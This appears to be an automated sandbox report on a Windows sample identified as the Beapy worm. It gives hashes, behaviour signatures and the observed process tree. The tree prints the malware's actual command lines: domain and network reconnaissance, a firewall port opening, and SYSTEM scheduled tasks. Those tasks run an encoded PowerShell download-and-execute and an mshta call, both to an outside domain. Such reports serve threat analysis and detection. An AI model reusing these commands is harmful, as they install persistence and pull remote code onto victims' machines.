Analysis

  • max time kernel
    149s
  • max time network
    179s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    29-06-2021 15:24

General

  • Target

    asdfa.exe

  • Size

    6.6MB

  • MD5

    84ff84125412cc31a157f9bde26ece4f

  • SHA1

    3696f153950863249b13ebf02c7059c3c3304530

  • SHA256

    d278c3aa58ec53e40450b6316a414cf4440c4de8000e810b1d5a96c1e332b1c6

  • SHA512

    d0dfcfa397f13e77e276e0d82f64513c9489a1fa776bcfd61f927b1433989832f03cb7597171a8c96f8d1fb4ebb564e3f773f75ec5a5b6f792e63bbaa5bc0072

Score
10/10

Malware Config

Signatures

  • Beapy

    Beapy is a python worm with crypto mining capabilities.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 20 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 33 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\asdfa.exe
    "C:\Users\Admin\AppData\Local\Temp\asdfa.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Users\Admin\AppData\Local\Temp\asdfa.exe
      "C:\Users\Admin\AppData\Local\Temp\asdfa.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c wmic ntdomain get domainname
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic ntdomain get domainname
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:364
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c net localgroup administrators
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1320
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            5⤵
              PID:436
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net group "domain admins" /domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1564
          • C:\Windows\SysWOW64\net.exe
            net group "domain admins" /domain
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1952
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 group "domain admins" /domain
              5⤵
                PID:672
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2024
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ipconfig /all
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1536
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              4⤵
              • Gathers network information
              PID:1372
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:1996
          • C:\Windows\SysWOW64\netstat.exe
            netstat -na
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:936
      • C:\Windows\rMFcETTH.exe
        C:\Windows\rMFcETTH.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1372
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c call "c:\windows\temp\tmp.vbs"
          2⤵
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1612
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
            3⤵
            • Modifies data under HKEY_USERS
            PID:2112
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c echo KdKUydP >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\HAEvtAkf.exe&move /y c:\windows\temp\dig.exe c:\windows\pJnVjfC.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn HAEvtAkf /tr "C:\Windows\HAEvtAkf.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\LsKolUj" /tr "c:\windows\pJnVjfC.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pMRBKYMNO"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\pJnVjfC.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\HAEvtAkf.exe"&schtasks /run /TN escan)
              4⤵
                PID:2296
                • C:\Windows\SysWOW64\netsh.exe
                  netsh firewall add portopening tcp 65533 DNSd
                  5⤵
                  • Modifies data under HKEY_USERS
                  PID:2304
                • C:\Windows\SysWOW64\netsh.exe
                  netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
                  5⤵
                  • Modifies data under HKEY_USERS
                  PID:2800
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:2764
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn HAEvtAkf /tr "C:\Windows\HAEvtAkf.exe" /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:2916
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\LsKolUj" /tr "c:\windows\pJnVjfC.exe" /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:2868
        • C:\Windows\WWRQkiuz.exe
          C:\Windows\WWRQkiuz.exe
          1⤵
            PID:1876

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1128-86-0x0000000002480000-0x00000000024FC000-memory.dmp

            Filesize

            496KB

          • memory/1128-103-0x0000000000340000-0x0000000000350000-memory.dmp

            Filesize

            64KB

          • memory/1128-77-0x0000000000A80000-0x0000000000B35000-memory.dmp

            Filesize

            724KB

          • memory/1128-94-0x0000000000200000-0x0000000000210000-memory.dmp

            Filesize

            64KB

          • memory/1128-106-0x0000000000390000-0x00000000003A5000-memory.dmp

            Filesize

            84KB

          • memory/1128-64-0x0000000074F31000-0x0000000074F33000-memory.dmp

            Filesize

            8KB

          • memory/2024-121-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

            Filesize

            8KB

          • memory/2024-117-0x0000000002390000-0x0000000002391000-memory.dmp

            Filesize

            4KB

          • memory/2024-124-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

            Filesize

            4KB

          • memory/2024-125-0x000000001A9EA000-0x000000001AA09000-memory.dmp

            Filesize

            124KB

          • memory/2024-126-0x00000000345F0000-0x00000000345F1000-memory.dmp

            Filesize

            4KB

          • memory/2024-116-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

            Filesize

            8KB

          • memory/2024-118-0x000000001AA60000-0x000000001AA61000-memory.dmp

            Filesize

            4KB

          • memory/2024-119-0x000000001A9E0000-0x000000001A9E2000-memory.dmp

            Filesize

            8KB

          • memory/2024-122-0x0000000002510000-0x0000000002511000-memory.dmp

            Filesize

            4KB

          • memory/2024-120-0x0000000002450000-0x0000000002451000-memory.dmp

            Filesize

            4KB